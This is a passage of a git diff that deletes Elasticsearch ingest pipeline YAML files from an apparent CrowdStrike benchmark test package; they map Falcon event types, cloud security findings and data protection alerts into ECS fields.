type: - - info - SyntheticProcessRollup2: - category: - - process - kind: event - outcome: success - type: - - start - SystemCapacity: - category: - - host - kind: state - outcome: success - type: - - info - TarFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - TelemetryCounters2: - category: - - host - kind: state - outcome: success - type: - - info - TelemetryNetworkConnections: - category: - - network - kind: state - outcome: success - type: - - connection - TelemetryStats: - category: - - host - kind: state - outcome: success - type: - - info - TerminateProcess: - category: - - process - kind: event - outcome: success - type: - - end - TokenImpersonated: - category: - - process - - authentication - kind: event - outcome: success - type: - - info - - change - UACCOMElevation: - category: - - process - - authentication - kind: event - outcome: success - type: - - info - - change - UACExeElevation: - category: - - process - - authentication - kind: event - outcome: success - type: - - info - - change - UACMSIElevation: - category: - - process - - authentication - kind: event - outcome: success - type: - - info - - change - UmppaErrorEvent: - category: - - package - kind: event - outcome: failure - type: - - info - UnsignedModuleLoad: - category: - - library - kind: event - outcome: success - type: - - start - UpdateManifestDownloadComplete: - category: - - file - kind: event - outcome: success - type: - - creation - UserAccountAddedToGroup: - category: - - configuration - - iam - kind: event - outcome: success - type: - - change - - group - UserAccountCreated: - category: - - configuration - - iam - kind: event - outcome: success - type: - - creation - UserAccountDeleted: - category: - - configuration - - iam - kind: event - outcome: success - type: - - deletion - UserExceptionDEP: - category: - - process - - malware - kind: alert - outcome: success - type: - - info - UserFontLoad: - category: - - configuration - kind: event - outcome: success - type: - - change - UserIdentity: - category: - - authentication - - iam - kind: event - outcome: success - type: - - info - - user - UserLogoff: - category: - - authentication - kind: event - outcome: success - type: - - end - UserLogon: - category: - - authentication - kind: event - outcome: success - type: - - start - UserLogonFailed: - category: - - authentication - kind: event - outcome: failure - type: - - start - UserLogonFailed2: - category: - - authentication - kind: event - outcome: failure - type: - - start - VolumeSnapshotCreated: - category: - - file - kind: event - outcome: success - type: - - creation - VolumeSnapshotDeleted: - category: - - file - kind: event - outcome: success - type: - - deletion - WfpFilterTamperingFilterAdded: - category: - - configuration - kind: event - outcome: success - type: - - change - WfpFilterTamperingFilterDeleted: - category: - - configuration - kind: event - outcome: success - type: - - change - WmiCreateProcess: - category: - - process - kind: event - outcome: success - type: - - start - WmiFilterConsumerBindingEtw: - category: - - configuration - kind: event - outcome: success - type: - - change - WmiProviderRegistrationEtw: - category: - - configuration - kind: event - outcome: success - type: - - change - WroteExeAndGeneratedServiceEvent: - category: - - process - kind: alert - outcome: success - type: - - access - XarFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - ZipFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - source: |- - def m = params.get(ctx.crowdstrike?.event_simpleName); - if (m != null) { - m.forEach((k, v) -> { - if (v instanceof List) { - ctx.event[k] = new ArrayList(v); - } else { - ctx.event[k] = v; - } - }); - } diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml deleted file mode 100644 index 4bf46f00ef..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml +++ /dev/null @@ -1,273 +0,0 @@ ---- -description: Pipeline for processing Cloud Security Posture's IOA events. -processors: - # Event categorization - - set: - tag: set_event_kind_alert_39295792 - field: event.kind - value: alert - - append: - tag: append_event_category_configuration_1c667e2c - field: event.category - value: configuration - - append: - tag: append_info_change_type_9e4e4288 - field: event.type - value: - - info - - change - - # Converts - - convert: - tag: convert_crowdstrike_policy_severity_to_long_c007532a - field: crowdstrike.policy_severity - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_policy_severity_b8fb8d80 - field: - - crowdstrike.policy_severity - ignore_failure: true - - append: - tag: append_error_message_d47a6b0a - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_source_ip_address_to_ip_358322f7 - field: crowdstrike.source_ip_address - type: ip - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_source_ip_address_4c2c058b - field: - - crowdstrike.source_ip_address - ignore_failure: true - - append: - tag: append_error_message_c13b6565 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_user_identity_mfa_authenticated_to_boolean_54612133 - field: crowdstrike.user_identity_mfa_authenticated - type: boolean - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_user_identity_mfa_authenticated_3d1c0d5c - field: - - crowdstrike.user_identity_mfa_authenticated - ignore_failure: true - - append: - tag: append_error_message_25a88ee1 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_read_only_to_boolean_9b7366e7 - field: crowdstrike.read_only - type: boolean - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_read_only_e31c665c - field: - - crowdstrike.read_only - ignore_failure: true - - append: - tag: append_error_message_bfc80555 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_management_event_to_boolean_09a8dac6 - field: crowdstrike.management_event - type: boolean - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_management_event_88242574 - field: - - crowdstrike.management_event - ignore_failure: true - - append: - tag: append_error_message_7fb96b06 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_policy_id_to_string_eae04ac3 - field: crowdstrike.policy_id - type: string - ignore_missing: true - - date: - tag: date_crowdstrike_event_created_into_event_created_f55ec58c - if: ctx.crowdstrike?.event_created != null && ctx.crowdstrike.event_created != '' - field: crowdstrike.event_created - target_field: event.created - formats: - - ISO8601 - on_failure: - - append: - tag: append_error_message_9078ce2c - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # ECS mappings - - set: - tag: set_@timestamp_from_event_created_42aa5b8f - field: '@timestamp' - copy_from: event.created - ignore_empty_value: true - - set: - tag: set_rule_name_from_crowdstrike_policy_statement_2e4da4b5 - field: rule.name - copy_from: crowdstrike.policy_statement - ignore_empty_value: true - - rename: - tag: rename_crowdstrike_event_id_to_event_id_aac41038 - field: crowdstrike.event_id - target_field: event.id - ignore_missing: true - - rename: - tag: rename_crowdstrike_event_name_to_event_action_ad89e7ef - field: crowdstrike.event_name - target_field: event.action - ignore_missing: true - - rename: - tag: rename_crowdstrike_event_source_to_source_domain_2ee5c144 - field: crowdstrike.event_source - target_field: source.domain - ignore_missing: true - - rename: - tag: rename_crowdstrike_user_identity_principal_id_to_user_id_ec14da98 - field: crowdstrike.user_identity_principal_id - target_field: user.id - ignore_missing: true - - rename: - tag: rename_crowdstrike_user_identity_user_name_to_user_name_bc683fbd - field: crowdstrike.user_identity_user_name - target_field: user.name - ignore_missing: true - - rename: - tag: rename_crowdstrike_policy_description_to_rule_description_60190db2 - field: crowdstrike.policy_description - target_field: rule.description - ignore_missing: true - - rename: - tag: rename_crowdstrike_policy_statement_to_message_6cbc5326 - field: crowdstrike.policy_statement - target_field: message - ignore_missing: true - - rename: - tag: rename_crowdstrike_cloud_provider_to_cloud_provider_37e579dc - field: crowdstrike.cloud_provider - target_field: cloud.provider - ignore_missing: true - - rename: - tag: rename_crowdstrike_policy_id_to_rule_id_6a562b4e - field: crowdstrike.policy_id - target_field: rule.id - ignore_missing: true - - rename: - tag: rename_crowdstrike_source_ip_address_to_source_ip_0ff0e35b - field: crowdstrike.source_ip_address - target_field: source.ip - ignore_missing: true - - rename: - tag: rename_crowdstrike_cloud_service_friendly_to_cloud_service_name_1e1824cd - field: crowdstrike.cloud_service_friendly - target_field: cloud.service.name - ignore_missing: true - - rename: - tag: rename_crowdstrike_account_to_cloud_account_id_d1803359 - field: crowdstrike.account - target_field: cloud.account.id - ignore_missing: true - - rename: - tag: rename_crowdstrike_cloud_region_to_cloud_region_f7090720 - field: crowdstrike.cloud_region - target_field: cloud.region - ignore_missing: true - - append: - tag: append_threat_tactic_name_cae1a398 - if: ctx.crowdstrike?.mitre_attack_tactic != null - field: threat.tactic.name - value: '{{{crowdstrike.mitre_attack_tactic}}}' - allow_duplicates: false - - append: - tag: append_threat_technique_name_e0e30ec0 - if: ctx.crowdstrike?.mitre_attack_technique != null - field: threat.technique.name - value: '{{{crowdstrike.mitre_attack_technique}}}' - allow_duplicates: false - - user_agent: - tag: user_agent_crowdstrike_user_agent_a19b860f - field: crowdstrike.user_agent - ignore_missing: true - # Override severity set in default.yml as Cloud Security has a different range. - - script: - tag: set_severity_name_from_crowdstrike_policy_severity_1989e488 - if: ctx.crowdstrike?.policy_severity instanceof long - source: |- - long severity = ctx.crowdstrike.policy_severity; - if (severity == 0) { - ctx.crowdstrike.SeverityName = 'critical'; - } else if (severity == 1) { - ctx.crowdstrike.SeverityName = 'high'; - } else if (severity == 2) { - ctx.crowdstrike.SeverityName = 'medium'; - } else if (severity == 3) { - ctx.crowdstrike.SeverityName = 'informational'; - } - - script: - tag: set_event_severity_from_severity_name_e55a1868 - if: ctx.crowdstrike?.SeverityName instanceof String && ctx.crowdstrike.SeverityName != '' - params: - critical: 99 - high: 73 - info: 21 - informational: 21 - low: 21 - medium: 47 - source: |- - ctx.event = ctx.event ?: [:]; - Integer score = params[ctx.crowdstrike.SeverityName.toLowerCase()]; - if (score != null) { - ctx.event.severity = score; - } - - # Cleanup. - - remove: - tag: remove_40214210 - field: - - crowdstrike.mitre_attack_tactic - - crowdstrike.mitre_attack_technique - - crowdstrike.event_created - - crowdstrike.user_agent - ignore_missing: true - - # error handling - - set: - tag: set_pipeline_error_into_event_kind_92954dfa - if: ctx.error?.message != null - field: event.kind - value: pipeline_error - - append: - tag: append_preserve_original_event_into_tags_9fe66b2c - if: ctx.error?.message != null - field: tags - value: preserve_original_event - allow_duplicates: false -on_failure: - - set: - tag: set_event_kind_f51b77ad - field: event.kind - value: pipeline_error - - append: - tag: append_tags_d762b9c5 - field: tags - value: preserve_original_event - allow_duplicates: false - - append: - tag: append_error_message_e0c9bd63 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml deleted file mode 100644 index a5d97ab1f0..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml +++ /dev/null @@ -1,503 +0,0 @@ ---- -description: Pipeline for processing Cloud Security Posture's IOM and CloudSecurityIOMEvaluation events. -processors: - # Event categorization - - set: - tag: set_event_kind_alert_39295792 - field: event.kind - value: alert - # Handle passed CloudSecurityIOMEvaluation events. - - set: - tag: set_event_kind_event_74f065e1 - if: ctx.crowdstrike?.status != null && ctx.crowdstrike.status.equalsIgnoreCase('Passed') - field: event.kind - value: event - - append: - tag: append_event_category_configuration_1c667e2c - field: event.category - value: configuration - - append: - tag: append_info_type_8b66b73a - field: event.type - value: - - info - - # Converts - - convert: - tag: convert_crowdstrike_Severity_to_integer_0f32343f - field: crowdstrike.Severity - type: integer - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_Severity_ab19708e - field: - - crowdstrike.Severity - ignore_failure: true - - append: - tag: append_error_message_596243fd - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_cloud_asset_type_to_long_e947ff85 - field: crowdstrike.cloud_asset_type - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_cloud_asset_type_f9e88af0 - field: - - crowdstrike.cloud_asset_type - ignore_failure: true - - append: - tag: append_error_message_dbb2b2ab - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_legacyPolicyId_to_long_aa105144 - field: crowdstrike.legacyPolicyId - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_legacyPolicyId_f79e89e6 - field: - - crowdstrike.legacyPolicyId - ignore_failure: true - - append: - tag: append_error_message_6322de94 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_resource_legacyPolicyId_to_long_4b2a6514 - field: crowdstrike.resource.legacyPolicyId - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_resource_legacyPolicyId_e1ede384 - field: - - crowdstrike.resource.legacyPolicyId - ignore_failure: true - - append: - tag: append_error_message_c4c4d2a4 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_revision_to_long_9713160b - field: crowdstrike.revision - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_revision_6f267a18 - field: - - crowdstrike.revision - ignore_failure: true - - append: - tag: append_error_message_bfacb109 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_policy_severity_to_long_c007532a - field: crowdstrike.policy_severity - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_policy_severity_b8fb8d80 - field: - - crowdstrike.policy_severity - ignore_failure: true - - append: - tag: append_error_message_d47a6b0a - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_internal_only_to_boolean_05f17f60 - field: crowdstrike.internal_only - type: boolean - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_internal_only_89b06d42 - field: - - crowdstrike.internal_only - ignore_failure: true - - append: - tag: append_error_message_0484dad0 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_policy_id_to_string_eae04ac3 - field: crowdstrike.policy_id - type: string - ignore_missing: true - - date: - tag: date_crowdstrike_ResourceCreateTime_into_crowdstrike_ResourceCreateTime_f8d87a86 - if: ctx.crowdstrike?.ResourceCreateTime != null && ctx.crowdstrike.ResourceCreateTime != '' - field: crowdstrike.ResourceCreateTime - target_field: crowdstrike.ResourceCreateTime - formats: - - ISO8601 - on_failure: - - append: - tag: append_error_message_ba53e1c6 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - tag: date_crowdstrike_created_into_crowdstrike_created_22cd53c6 - if: ctx.crowdstrike?.created != null && ctx.crowdstrike.created != '' - field: crowdstrike.created - target_field: crowdstrike.created - formats: - - ISO8601 - on_failure: - - append: - tag: append_error_message_87abd606 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - tag: date_crowdstrike_firstDetected_into_crowdstrike_firstDetected_7207d30a - if: ctx.crowdstrike?.firstDetected != null && ctx.crowdstrike.firstDetected != '' - field: crowdstrike.firstDetected - target_field: crowdstrike.firstDetected - formats: - - ISO8601 - on_failure: - - append: - tag: append_error_message_99375bea - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - tag: date_crowdstrike_lastDetected_into_crowdstrike_lastDetected_2aa302dc - if: ctx.crowdstrike?.lastDetected != null && ctx.crowdstrike.lastDetected != '' - field: crowdstrike.lastDetected - target_field: crowdstrike.lastDetected - formats: - - ISO8601 - on_failure: - - append: - tag: append_error_message_0de4d3fc - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - tag: date_crowdstrike_resource_captured_into_crowdstrike_resource_captured_b21aec1b - if: ctx.crowdstrike?.resource?.captured != null && ctx.crowdstrike.resource.captured != '' - field: crowdstrike.resource.captured - target_field: crowdstrike.resource.captured - formats: - - ISO8601 - on_failure: - - append: - tag: append_error_message_9bb738d9 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - json: - tag: decode_crowdstrike_ResourceAttributes_74e90745 - if: ctx.crowdstrike?.ResourceAttributes instanceof String - field: crowdstrike.ResourceAttributes - target_field: crowdstrike.ResourceAttributes - on_failure: - - remove: - tag: remove_crowdstrike_ResourceAttributes_17af0578 - field: - - crowdstrike.ResourceAttributes - ignore_missing: true - - # ECS mappings - - set: - tag: set_@timestamp_from_crowdstrike_created_6941d144 - field: '@timestamp' - copy_from: crowdstrike.created - ignore_empty_value: true - - set: - tag: set_rule_name_from_crowdstrike_policy_statement_2e4da4b5 - field: rule.name - copy_from: crowdstrike.policy_statement - ignore_empty_value: true - - # Renames - - rename: - tag: rename_crowdstrike_severity_to_crowdstrike_SeverityName_cc000891 - field: crowdstrike.severity - target_field: crowdstrike.SeverityName - ignore_missing: true - - rename: - tag: rename_crowdstrike_policy_statement_to_message_6cbc5326 - field: crowdstrike.policy_statement - target_field: message - ignore_missing: true - # CloudSecurityIOMEvaluation events use `ruleName` - - set: - tag: set_message_from_crowdstrike_ruleName_0729c3fe - field: message - copy_from: crowdstrike.ruleName - ignore_empty_value: true - - append: - tag: append_threat_tactic_name_from_crowdstrike_mitre_attack_tactics_name_0ca972fe - if: ctx.crowdstrike?.mitre_attack_tactics_name != null - field: threat.tactic.name - value: '{{{crowdstrike.mitre_attack_tactics_name}}}' - allow_duplicates: false - - append: - tag: append_threat_tactic_reference_from_crowdstrike_mitre_attack_tactics_url_11772a14 - if: ctx.crowdstrike?.mitre_attack_tactics_url != null - field: threat.tactic.reference - value: '{{{crowdstrike.mitre_attack_tactics_url}}}' - allow_duplicates: false - - append: - tag: append_threat_tactic_name_from_crowdstrike_threat_tactic_name_4524338e - if: ctx.crowdstrike?.threat?.tactic?.name != null - field: threat.tactic.name - value: '{{{crowdstrike.threat.tactic.name}}}' - allow_duplicates: false - - append: - tag: append_threat_tactic_id_from_crowdstrike_threat_tactic_id_4e03d860 - if: ctx.crowdstrike?.threat?.tactic?.id != null - field: threat.tactic.id - value: '{{{crowdstrike.threat.tactic.id}}}' - allow_duplicates: false - - append: - tag: append_threat_tactic_reference_from_crowdstrike_threat_tactic_reference_0caca4fa - if: ctx.crowdstrike?.threat?.tactic?.reference != null - field: threat.tactic.reference - value: '{{{crowdstrike.threat.tactic.reference}}}' - allow_duplicates: false - - append: - tag: append_threat_technique_name_from_crowdstrike_threat_technique_name_1669c200 - if: ctx.crowdstrike?.threat?.technique?.name != null - field: threat.technique.name - value: '{{{crowdstrike.threat.technique.name}}}' - allow_duplicates: false - - append: - tag: append_threat_technique_id_from_crowdstrike_threat_technique_id_4aa63bbe - if: ctx.crowdstrike?.threat?.technique?.id != null - field: threat.technique.id - value: '{{{crowdstrike.threat.technique.id}}}' - allow_duplicates: false - - append: - tag: append_threat_technique_reference_from_crowdstrike_threat_technique_reference_5d99d5d4 - if: ctx.crowdstrike?.threat?.technique?.reference != null - field: threat.technique.reference - value: '{{{crowdstrike.threat.technique.reference}}}' - allow_duplicates: false - # CloudSecurityIOMEvaluation events use `resource.cloudProvider`, IOM events use `cloudplatform` - - rename: - tag: rename_crowdstrike_cloudplatform_to_cloud_provider_e4cd5dc3 - field: crowdstrike.cloudplatform - target_field: cloud.provider - ignore_missing: true - - append: - tag: append_cloud_provider_from_crowdstrike_cloudplatform_fbe812c3 - if: ctx.crowdstrike?.cloudplatform != null - field: cloud.provider - value: '{{{crowdstrike.cloudplatform}}}' - allow_duplicates: false - - rename: - tag: rename_crowdstrike_resource_cloudProvider_to_cloud_provider_e78d6077 - if: ctx.cloud?.provider == null - field: crowdstrike.resource.cloudProvider - target_field: cloud.provider - ignore_missing: true - - append: - tag: append_cloud_provider_from_crowdstrike_resource_cloudProvider_70f564de - if: ctx.crowdstrike?.resource?.cloudProvider != null - field: cloud.provider - value: '{{{crowdstrike.resource.cloudProvider}}}' - allow_duplicates: false - # CloudSecurityIOMEvaluation events use `ruleId`, IOM events use `policy_id` - - rename: - tag: rename_crowdstrike_policy_id_to_rule_id_6a562b4e - field: crowdstrike.policy_id - target_field: rule.id - ignore_missing: true - - append: - tag: append_rule_id_from_crowdstrike_policy_id_5527ec40 - if: ctx.crowdstrike?.policy_id != null - field: rule.id - value: '{{{crowdstrike.policy_id}}}' - allow_duplicates: false - - rename: - tag: rename_crowdstrike_ruleId_to_rule_id_7392c4e8 - if: ctx.rule?.id == null - field: crowdstrike.ruleId - target_field: rule.id - ignore_missing: true - - append: - tag: append_rule_id_from_crowdstrike_ruleId_39fca7b0 - if: ctx.crowdstrike?.ruleId != null - field: rule.id - value: '{{{crowdstrike.ruleId}}}' - allow_duplicates: false - - rename: - tag: rename_crowdstrike_ruleName_to_rule_name_09ff9f3a - if: ctx.rule?.name == null - field: crowdstrike.ruleName - target_field: rule.name - ignore_missing: true - - append: - tag: append_rule_name_from_crowdstrike_ruleName_9f105302 - if: ctx.crowdstrike?.ruleName != null - field: rule.name - value: '{{{crowdstrike.ruleName}}}' - allow_duplicates: false - - rename: - tag: rename_crowdstrike_CloudService_to_cloud_service_name_cad180a2 - field: crowdstrike.CloudService - target_field: cloud.service.name - ignore_missing: true - - append: - tag: append_cloud_service_name_from_crowdstrike_CloudService_502b8518 - if: ctx.crowdstrike?.CloudService != null - field: cloud.service.name - value: '{{{crowdstrike.CloudService}}}' - allow_duplicates: false - # CloudSecurityIOMEvaluation events use `resource.accountId`, IOM events use `AccountId` - - rename: - tag: rename_crowdstrike_AccountId_to_cloud_account_id_7a667ede - field: crowdstrike.AccountId - target_field: cloud.account.id - ignore_missing: true - - append: - tag: append_cloud_account_id_from_crowdstrike_AccountId_e0946632 - if: ctx.crowdstrike?.AccountId != null - field: cloud.account.id - value: '{{{crowdstrike.AccountId}}}' - allow_duplicates: false - - rename: - tag: rename_crowdstrike_resource_accountId_to_cloud_account_id_ed136ada - if: ctx.cloud?.account?.id == null - field: crowdstrike.resource.accountId - target_field: cloud.account.id - ignore_missing: true - - append: - tag: append_cloud_account_id_from_crowdstrike_resource_accountId_8c8510ad - if: ctx.crowdstrike?.resource?.accountId != null - field: cloud.account.id - value: '{{{crowdstrike.resource.accountId}}}' - allow_duplicates: false - # CloudSecurityIOMEvaluation events use `resource.region`, IOM events use `region` - - rename: - tag: rename_crowdstrike_region_to_cloud_region_a2be859e - field: crowdstrike.region - target_field: cloud.region - ignore_missing: true - - append: - tag: append_cloud_region_from_crowdstrike_region_e4a0d590 - if: ctx.crowdstrike?.region != null - field: cloud.region - value: '{{{crowdstrike.region}}}' - allow_duplicates: false - - rename: - tag: rename_crowdstrike_resource_region_to_cloud_region_54502abf - if: ctx.cloud?.region == null - field: crowdstrike.resource.region - target_field: cloud.region - ignore_missing: true - - append: - tag: append_cloud_region_from_crowdstrike_resource_region_747cc2eb - if: ctx.crowdstrike?.resource?.region != null - field: cloud.region - value: '{{{crowdstrike.resource.region}}}' - allow_duplicates: false - # Override severity set in default.yml as Cloud Security has a different range. - - script: - tag: set_severity_name_from_crowdstrike_Severity_a1e4ce46 - if: ctx.crowdstrike?.Severity instanceof int - source: |- - int severity = ctx.crowdstrike.Severity; - if (severity == 0) { - ctx.crowdstrike.SeverityName = 'critical'; - } else if (severity == 1) { - ctx.crowdstrike.SeverityName = 'high'; - } else if (severity == 2) { - ctx.crowdstrike.SeverityName = 'medium'; - } else if (severity == 3) { - ctx.crowdstrike.SeverityName = 'informational'; - } - - script: - tag: set_event_severity_from_severity_name_e55a1868 - if: ctx.crowdstrike?.SeverityName instanceof String && ctx.crowdstrike.SeverityName != '' - params: - critical: 99 - high: 73 - info: 21 - informational: 21 - low: 21 - medium: 47 - source: |- - ctx.event = ctx.event ?: [:]; - Integer score = params[ctx.crowdstrike.SeverityName.toLowerCase()]; - if (score != null) { - ctx.event.severity = score; - } - - - script: - description: Parse all benchmark IDs and create a list. - tag: parse_all_benchmark_ids_to_list_c4f20ce2 - source: |- - for (entry in ctx.crowdstrike.entrySet()) { - def key = entry.getKey().toString(); - if (key.endsWith("benchmark_ids")) { - def val = entry.getValue(); - if (val instanceof String) { - def result = []; - String cleaned = /[\\{\\}\\s]/.matcher(val).replaceAll(''); - def parts = cleaned.splitOnToken(","); - for (def part : parts) { - result.add(part); - } - ctx.crowdstrike[key] = result; - } - } - } - - # Cleanup. - - remove: - tag: remove_deaa67b5 - field: - - crowdstrike.Disposition - - crowdstrike.Finding - - crowdstrike.CloudPlatform - - crowdstrike.PolicyId - - crowdstrike.PolicyStatement - - crowdstrike.Region - - crowdstrike.ResourceUrl - - crowdstrike.mitre_attack_tactics_name - - crowdstrike.mitre_attack_tactics_url - - crowdstrike.threat.framework - - crowdstrike.threat.technique.id - - crowdstrike.threat.technique.name - - crowdstrike.threat.technique.reference - - crowdstrike.threat.tactic.id - - crowdstrike.threat.tactic.name - - crowdstrike.threat.tactic.reference - ignore_missing: true - - # error handling - - set: - tag: set_pipeline_error_into_event_kind_92954dfa - if: ctx.error?.message != null - field: event.kind - value: pipeline_error - - append: - tag: append_preserve_original_event_into_tags_9fe66b2c - if: ctx.error?.message != null - field: tags - value: preserve_original_event - allow_duplicates: false -on_failure: - - set: - tag: set_event_kind_f51b77ad - field: event.kind - value: pipeline_error - - append: - tag: append_tags_d762b9c5 - field: tags - value: preserve_original_event - allow_duplicates: false - - append: - tag: append_error_message_e0c9bd63 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml deleted file mode 100644 index f52301bec7..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml +++ /dev/null @@ -1,360 +0,0 @@ ---- -description: Pipeline for processing Data Protection Detection Summary events. -processors: - - # event categorization fields - - set: - tag: set_event_kind_to_alert_39295792 - field: event.kind - value: alert - - append: - tag: append_malware_category_425d1f27 - field: event.category - value: malware - - append: - tag: append_info_type_8a66ccaa - field: event.type - value: info - - # converts - - convert: - tag: convert_crowdstrike_DataVolume_to_long_942b72ee - field: crowdstrike.DataVolume - type: long - ignore_missing: true - on_failure: - - append: - tag: append_error_message_e18f0b9e - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_ContentPatterns_ConfidenceLevel_to_long_45401f80 - field: crowdstrike.ContentPatterns.ConfidenceLevel - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_ContentPatterns_ConfidenceLevel_51bb48e5 - field: - - crowdstrike.ContentPatterns.ConfidenceLevel - - append: - tag: append_error_message_469733f0 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: 